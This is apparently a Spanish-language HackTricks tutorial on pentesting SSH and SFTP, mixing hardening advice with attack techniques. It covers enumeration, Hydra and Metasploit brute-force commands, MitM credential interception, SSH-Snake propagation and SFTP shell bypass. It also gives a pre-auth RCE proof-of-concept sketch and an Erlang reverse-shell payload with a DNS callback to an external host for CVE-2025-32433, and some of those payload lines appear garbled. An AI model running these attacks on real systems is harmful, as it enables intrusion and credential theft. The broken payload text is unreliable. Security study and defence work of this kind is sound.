22 - Pentesting SSH/SFTP

Reading time: 17 minutes

Información Básica

SSH (Secure Shell o Secure Socket Shell) es un protocolo de red que permite una conexión segura a una computadora a través de una red no segura. Es esencial para mantener la confidencialidad e integridad de los datos al acceder a sistemas remotos.

Puerto por defecto: 22

22/tcp open  ssh     syn-ack

Servidores SSH:

• openSSH – OpenBSD SSH, incluido en distribuciones de BSD, Linux y Windows desde Windows 10
• Dropbear – implementación de SSH para entornos con recursos limitados de memoria y procesador, incluido en OpenWrt
• PuTTY – implementación de SSH para Windows, el cliente es comúnmente utilizado pero el uso del servidor es más raro
• CopSSH – implementación de OpenSSH para Windows

Bibliotecas SSH (implementando del lado del servidor):

• libssh – biblioteca C multiplataforma que implementa el protocolo SSHv2 con enlaces en Python, Perl y R; es utilizada por KDE para sftp y por GitHub para la infraestructura SSH de git
• wolfSSH – biblioteca de servidor SSHv2 escrita en ANSI C y dirigida a entornos embebidos, RTOS y con recursos limitados
• Apache MINA SSHD – biblioteca java Apache SSHD basada en Apache MINA
• paramiko – biblioteca de protocolo SSHv2 en Python

Enumeración

Captura de Banner

nc -vn <IP> 22

Auditoría ssh automatizada

ssh-audit es una herramienta para la auditoría de la configuración del servidor y cliente SSH.

https://github.com/jtesta/ssh-audit es un fork actualizado de https://github.com/arthepsy/ssh-audit/

Características:

• Soporte para servidores de protocolo SSH1 y SSH2;
• analizar la configuración del cliente SSH;
• obtener banner, reconocer dispositivo o software y sistema operativo, detectar compresión;
• recopilar algoritmos de intercambio de claves, clave de host, cifrado y código de autenticación de mensajes;
• salida de información sobre algoritmos (disponible desde, eliminado/deshabilitado, inseguro/débil/legado, etc);
• salida de recomendaciones de algoritmos (agregar o eliminar según la versión de software reconocida);
• salida de información de seguridad (problemas relacionados, lista de CVE asignados, etc);
• analizar la compatibilidad de versiones de SSH basada en la información de algoritmos;
• información histórica de OpenSSH, Dropbear SSH y libssh;
• funciona en Linux y Windows;
• sin dependencias

usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

Verlo en acción (Asciinema)

Clave SSH pública del servidor

ssh-keyscan -t rsa <IP> -p <PORT>

Algoritmos de Cifrado Débiles

Esto se descubre por defecto con nmap. Pero también puedes usar sslcan o sslyze.

Scripts de Nmap

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

• ssh

Fuerza bruta de nombres de usuario, contraseñas y claves privadas

Enumeración de Nombres de Usuario

En algunas versiones de OpenSSH, puedes realizar un ataque de temporización para enumerar usuarios. Puedes usar un módulo de metasploit para explotar esto:

msf> use scanner/ssh/ssh_enumusers

Fuerza bruta

Algunas credenciales ssh comunes aquí y aquí y a continuación.

Fuerza Bruta de Clave Privada

Si conoces algunas claves privadas ssh que podrían ser utilizadas... intentémoslo. Puedes usar el script de nmap:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

O el módulo auxiliar de MSF:

msf> use scanner/ssh/ssh_identify_pubkeys

O use ssh-keybrute.py (python3 nativo, ligero y con algoritmos heredados habilitados): snowdroppe/ssh-keybrute.

Las badkeys conocidas se pueden encontrar aquí:

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

Claves SSH débiles / PRNG predecible de Debian

Algunos sistemas tienen fallos conocidos en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves drásticamente reducido que puede ser forzado. Conjuntos de claves pre-generadas generadas en sistemas Debian afectados por PRNG débiles están disponibles aquí: g0tmi1k/debian-ssh.

Deberías buscar aquí para encontrar claves válidas para la máquina víctima.

Kerberos

crackmapexec utilizando el protocolo ssh puede usar la opción --kerberos para autenticarse a través de kerberos.
Para más información, ejecuta crackmapexec ssh --help.

Credenciales por defecto

SSH-MitM

Si estás en la red local como la víctima que va a conectarse al servidor SSH usando nombre de usuario y contraseña, podrías intentar realizar un ataque MitM para robar esas credenciales:

Ruta de ataque:

• Redirección de tráfico: El atacante desvía el tráfico de la víctima a su máquina, interceptando efectivamente el intento de conexión al servidor SSH.
• Intercepción y registro: La máquina del atacante actúa como un proxy, capturando los detalles de inicio de sesión del usuario al hacerse pasar por el servidor SSH legítimo.
• Ejecución de comandos y reenvío: Finalmente, el servidor del atacante registra las credenciales del usuario, reenvía los comandos al verdadero servidor SSH, los ejecuta y envía los resultados de vuelta al usuario, haciendo que el proceso parezca fluido y legítimo.

SSH MITM hace exactamente lo que se describe arriba.

Para capturar y realizar el MitM real, podrías usar técnicas como el spoofing ARP, el spoofing DNS u otras descritas en los ataques de spoofing de red.

SSH-Snake

Si deseas atravesar una red utilizando claves privadas SSH descubiertas en sistemas, utilizando cada clave privada en cada sistema para nuevos hosts, entonces SSH-Snake es lo que necesitas.

SSH-Snake realiza las siguientes tareas automáticamente y de forma recursiva:

1. En el sistema actual, encuentra cualquier clave privada SSH,
2. En el sistema actual, encuentra cualquier host o destino (user@host) que las claves privadas puedan ser aceptadas,
3. Intenta SSH en todos los destinos utilizando todas las claves privadas descubiertas,
4. Si se conecta con éxito a un destino, repite los pasos #1 - #4 en el sistema conectado.

Es completamente auto-replicante y auto-propagante -- y completamente sin archivos.

Configuraciones incorrectas

Inicio de sesión como root

Es común que los servidores SSH permitan el inicio de sesión del usuario root por defecto, lo que representa un riesgo de seguridad significativo. Deshabilitar el inicio de sesión como root es un paso crítico para asegurar el servidor. El acceso no autorizado con privilegios administrativos y los ataques de fuerza bruta pueden mitigarse haciendo este cambio.

Para deshabilitar el inicio de sesión como root en OpenSSH:

1. Edita el archivo de configuración de SSH con: sudoedit /etc/ssh/sshd_config
2. Cambia la configuración de #PermitRootLogin yes a PermitRootLogin no.
3. Recarga la configuración usando: sudo systemctl daemon-reload
4. Reinicia el servidor SSH para aplicar los cambios: sudo systemctl restart sshd

Fuerza bruta SFTP

• Fuerza bruta SFTP

Ejecución de comandos SFTP

Hay un descuido común que ocurre con las configuraciones de SFTP, donde los administradores pretenden que los usuarios intercambien archivos sin habilitar el acceso a la shell remota. A pesar de configurar a los usuarios con shells no interactivas (por ejemplo, /usr/bin/nologin) y confinarlos a un directorio específico, permanece una brecha de seguridad. Los usuarios pueden eludir estas restricciones solicitando la ejecución de un comando (como /bin/bash) inmediatamente después de iniciar sesión, antes de que su shell no interactiva designada tome el control. Esto permite la ejecución no autorizada de comandos, socavando las medidas de seguridad previstas.

Ejemplo de aquí:

ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

Aquí hay un ejemplo de configuración segura de SFTP (/etc/ssh/sshd_config – openSSH) para el usuario noraj:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

Esta configuración permitirá solo SFTP: deshabilitando el acceso a la shell al forzar el comando de inicio y deshabilitando el acceso TTY, pero también deshabilitando todo tipo de reenvío de puertos o tunelización.

SFTP Tunneling

Si tienes acceso a un servidor SFTP, también puedes tunelizar tu tráfico a través de esto, por ejemplo, utilizando el reenvío de puertos común:

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

SFTP Symlink

El sftp tiene el comando "symlink". Por lo tanto, si tienes derechos de escritura en alguna carpeta, puedes crear symlinks de otras carpetas/archivos. Como probablemente estés atrapado dentro de un chroot, esto no será especialmente útil para ti, pero, si puedes acceder al symlink creado desde un servicio no-chroot (por ejemplo, si puedes acceder al symlink desde la web), podrías abrir los archivos enlazados a través de la web.

Por ejemplo, para crear un symlink de un nuevo archivo "froot" a "/":

sftp> symlink / froot

Si puedes acceder al archivo "froot" a través de la web, podrás listar la carpeta raíz ("/") del sistema.

Métodos de autenticación

En entornos de alta seguridad, es una práctica común habilitar solo la autenticación basada en claves o la autenticación de dos factores en lugar de la simple autenticación basada en contraseña. Pero a menudo, los métodos de autenticación más fuertes se habilitan sin deshabilitar los más débiles. Un caso frecuente es habilitar publickey en la configuración de openSSH y establecerlo como el método predeterminado, pero no deshabilitar password. Así que, al usar el modo verbose del cliente SSH, un atacante puede ver que un método más débil está habilitado:

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

Por ejemplo, si se establece un límite de fallos de autenticación y nunca tienes la oportunidad de acceder al método de contraseña, puedes usar la opción PreferredAuthentications para forzar el uso de este método.

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

Revisar la configuración del servidor SSH es necesario para verificar que solo se autoricen los métodos esperados. Usar el modo verbose en el cliente puede ayudar a ver la efectividad de la configuración.

Archivos de configuración

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

• https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
• https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2

Bypass del Estado de Autenticación (RCE Pre-Auth)

Varias implementaciones de servidores SSH contienen fallos lógicos en la máquina de estados finitos de autenticación que permiten a un cliente enviar mensajes de protocolo de conexión antes de que la autenticación haya finalizado. Debido a que el servidor no verifica que esté en el estado correcto, esos mensajes se manejan como si el usuario estuviera completamente autenticado, lo que lleva a ejecución de código no autenticado o creación de sesiones.

A nivel de protocolo, cualquier mensaje SSH con un código de mensaje ≥ 80 (0x50) pertenece a la capa de conexión (RFC 4254) y debe ser aceptado solo después de una autenticación exitosa (RFC 4252). Si el servidor procesa uno de esos mensajes mientras aún está en el estado SSH_AUTHENTICATION, el atacante puede crear inmediatamente un canal y solicitar acciones como ejecución de comandos, reenvío de puertos, etc.

Pasos Genéricos de Explotación

1. Establecer una conexión TCP al puerto SSH del objetivo (comúnmente 22, pero otros servicios pueden exponer Erlang/OTP en 2022, 830, 2222…).
2. Crear un paquete SSH en bruto:

• 4 bytes de packet_length (big-endian)
• 1 byte de message_code ≥ 80 (por ejemplo, SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
• Carga útil que será entendida por el tipo de mensaje elegido

3. Enviar el/los paquete(s) antes de completar cualquier paso de autenticación.
4. Interactuar con las APIs del servidor que ahora están expuestas pre-auth (ejecución de comandos, reenvío de puertos, acceso al sistema de archivos, …).

Esquema de prueba de concepto en Python:

import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

En la práctica, necesitarás realizar (o omitir) el intercambio de claves según la implementación del objetivo, pero nunca se realiza autenticación.

Erlang/OTP sshd (CVE-2025-32433)

• Versiones afectadas: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
• Causa raíz: el daemon SSH nativo de Erlang no valida el estado actual antes de invocar ssh_connection:handle_msg/2. Por lo tanto, cualquier paquete con un código de mensaje de 80-255 llega al manejador de conexión mientras la sesión aún está en el estado userauth.
• Impacto: ejecución remota de código no autenticada (el daemon generalmente se ejecuta como root en dispositivos embebidos/OT).

Ejemplo de carga útil que genera un shell inverso vinculado al canal controlado por el atacante:

% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

La detección de RCE ciega / fuera de banda se puede realizar a través de DNS:

execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

Detección y Mitigación:

• Inspeccionar el tráfico SSH: descartar cualquier paquete con código de mensaje ≥ 80 observado antes de la autenticación.
• Actualizar Erlang/OTP a 27.3.3 / 26.2.5.11 / 25.3.2.20 o más reciente.
• Restringir la exposición de puertos de gestión (22/2022/830/2222) – especialmente en equipos OT.

Otras Implementaciones Afectadas

• libssh 0.6 – 0.8 (lado del servidor) – CVE-2018-10933 – acepta un SSH_MSG_USERAUTH_SUCCESS no autenticado enviado por el cliente, efectivamente el error lógico inverso.

La lección común es que cualquier desviación de las transiciones de estado mandadas por el RFC puede ser fatal; al revisar o hacer fuzzing a los demonios SSH, preste especial atención a la aplicación de la máquina de estados.

Referencias

• Unit 42 – Erlang/OTP SSH CVE-2025-32433
• Guías de endurecimiento de SSH
• Guía de hacking de SSH de Turgensec

Comandos Automáticos de HackTricks

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'